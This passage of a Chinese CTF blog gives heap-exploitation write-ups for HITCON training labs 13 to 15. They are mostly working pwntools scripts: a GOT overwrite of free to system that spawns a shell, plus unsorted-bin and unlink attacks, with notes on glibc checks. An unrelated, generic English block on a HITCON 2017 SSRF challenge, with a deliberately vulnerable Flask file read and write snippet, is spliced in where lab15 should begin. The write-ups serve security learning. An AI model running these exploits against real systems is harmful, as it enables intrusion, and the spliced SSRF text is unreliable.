    p.sendafter(':','2')
    p.sendafter(':',str(index))
    p.sendafter(': ',content)

def show(index):
    p.sendafter(':','3')
    p.sendafter(':',str(index))
    return p.recvuntil('\nDone !\n',drop=True)

def delete(index):
    p.sendafter(':','4')
    p.sendafter(':',str(index))

def exit():
    p.sendafter(':','5')



add(0x18,'123')
add(0x10,'123')
payload = '/bin/sh\x00'+p64(0)+p64(0)+'\x41'
edit(0,payload)
delete(1)

add(0x30,'a'*0x10+p64(0)+p64(0x21)+p64(0x10)+p64(elf.got['free']))
recv=show(1)[-6:].ljust(8,'\00')
print hex(u64(recv))
free = u64(recv)
libc = LibcSearcher('free',free)
libcbase = free - libc.dump('free')
system = libcbase + libc.dump('system')
edit(1,p64(system))
delete(0)

p.interactive()

lab14

这是个unsortedbin的题,说实话,并没有完全搞清为什么在这里用不了unlink,为什么这里free了small chunk后,small chunk直接进了unsort bin,还要好好研究。
在这里先假定已经知道了free smallchunk后就直接进unsorted bin。。。

bck = victim->bk;
...
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

在这里插入图片描述
在这道题中就是把magic的值给改大一点,我们把unsorted_chunks (av) 赋给它既满足要求。
exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./magicheap')
def DEBUG(instruction,chose):
    if chose == 1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def add(size,content):
    p.sendafter(':','1')
    p.sendafter(': ',str(size))
    p.sendafter(':',content)

def edit(index,size,content):
    p.sendafter(':','2')
    p.sendafter(':',str(index))
    p.sendafter(': ',str(size))
    p.sendafter(': ',content)

def delete(index):
    p.sendafter(':','3')
    p.sendafter(':',str(index))

def exit():
    p.sendafter(':','4')

aim = 0x00000000006020E0
fd = aim-0x18
bk = aim -0x10
magic =0x00000000006020C0
instruction ='''
x/xg 0x00000000006020E0
'''
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
delete(1)
payload = 'a'*0x90+p64(0)+p64(0xa1)+p64(0)+p64(magic-0x10)
edit(0,len(payload),payload)
#DEBUG(instruction,1)
add(0x90,'abcd')
p.sendafter(':','4869')
p.interactive()

经过对源码的进一步学习,原因是自己对unlink的理解还没到位,

 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

之前对这个检查的理解是只要让fake chunk 的fd 和bk 分别满足fd+0x18 ==bk+0x10 就行,但事实是要使*(fd+0x18) = p ,
*(bk+0x10)=p。之前并没有掌握透彻unlink的知识点。还有纠正自己之前的一个误区,small chunk、large chunk被free时,并不会直接进small bin、large bin,而是进了unsorted bin。。。附上一份unlink
exp

from pwn import *

context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./magicheap')

def DEBUG(instruction,chose):
    if chose == 1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def add(size,content):
    p.sendafter(':','1')
    p.sendafter(': ',str(size))
    p.sendafter(':',content)

def edit(index,size,content):
    p.sendafter(':','2')
    p.sendafter(':',str(index))
    p.sendafter(': ',str(size))
    p.sendafter(': ',content)

def delete(index):
    p.sendafter(':','3')
    p.sendafter(':',str(index))

def exit():
    p.sendafter(':','4')

aim = 0x00000000006020e0+0x8
fd = aim-0x18
bk = aim -0x10
magic =0x00000000006020C0
instruction ='''
x/xg 0x00000000006020E0
'''
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
payload = p64(0)+p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0)
edit(1,len(payload),payload)
delete(2)
DEBUG(instruction,1)
payload = 'a'*0x10+p64(magic)
edit(1,len(payload),payload)
edit(0,8,p64(0x2000))
p.sendafter(':','4869')
p.interactive()

lab15

### HITCON 2017 SSRF Challenge Overview The **HITCON 2017 CTF** featured a variety of challenges, including those related to Server-Side Request Forgery (SSRF). These challenges were designed to test participants' understanding of web application vulnerabilities and their ability to exploit them effectively. One notable challenge was the **SSRFme task**, which involved exploiting an SSRF vulnerability within a PHP-based system. The provided code snippet demonstrates how the `$_SERVER['HTTP_X_FORWARDED_FOR']` variable is manipulated by splitting its value using commas as delimiters[^5]. This manipulation allows attackers to control the `$http_x_headers[0]` value, potentially leading to unauthorized access or command execution scenarios. In another instance, contestants had to leverage file-writing capabilities through GET requests combined with filename parameters[^4]. By carefully crafting filenames that included shell commands such as `/readflag`, they could execute arbitrary commands on the server side. Specifically: - A request like `/?url=/&filename=aaa` would create a new file named after the specified parameter. - Subsequent exploitation steps allowed reading sensitive files from restricted directories via crafted URLs incorporating malicious payloads into both query strings (`?`) and headers. Additionally, there exists documentation regarding similar exercises where users reconstruct past competitions’ problems locally for practice purposes—such efforts often involve setting up Docker containers mimicking original environments accurately so learners may gain hands-on experience without needing direct participation during actual events themselves[^1]. For further exploration beyond just theoretical knowledge about these types of attacks but also practical implementations thereof consider reviewing additional resources discussing advanced techniques surrounding path traversal exploits alongside other common injection vectors present throughout modern-day applications today too! ```python import os from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): url = request.args.get('url', '') filename = request.args.get('filename', 'default.txt') try: response = open(url) # Vulnerable line due to lack of validation content = response.read() with open(f"/tmp/{filename}", "w") as f: f.write(content) return f"Content written successfully to {filename}" except Exception as e: return str(e), 400 if __name__ == '__main__': app.run(debug=True) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值